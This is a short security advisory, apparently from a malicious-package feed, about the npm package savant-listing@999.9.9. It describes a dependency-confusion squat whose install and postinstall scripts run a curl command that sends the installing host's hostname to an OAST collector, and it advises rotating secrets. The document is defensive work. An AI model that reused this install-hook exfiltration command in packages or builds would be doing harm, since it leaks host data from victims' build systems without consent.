## Source: amazon-inspector (7360e78a5c5d56ea9323cde1f41e33ce8cc6b625034ef82d067bbfeafee60461) savant-listing@999.9.9 is a dependency-confusion squat. package.json declares both `install` and `postinstall` lifecycle scripts that run `curl https://d8fnie486mdq306lb5kgttwrnhxwj33g5.oast.online/info/?hostname=$(hostname)`, unconditionally exfiltrating the installer host's hostname to an out-of-band interaction (OAST/interactsh) collector on every `npm install`. The version `999.9.9` and description `SAFE PoC - Demonstrates dependency confusion` are consistent with a package published to the public registry to win version resolution over an internal package of the same name on victim build systems. The destination is a transient, attacker-controlled OAST subdomain not associated with any legitimate publisher; the harm fires automatically at install time without any user interaction.

All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
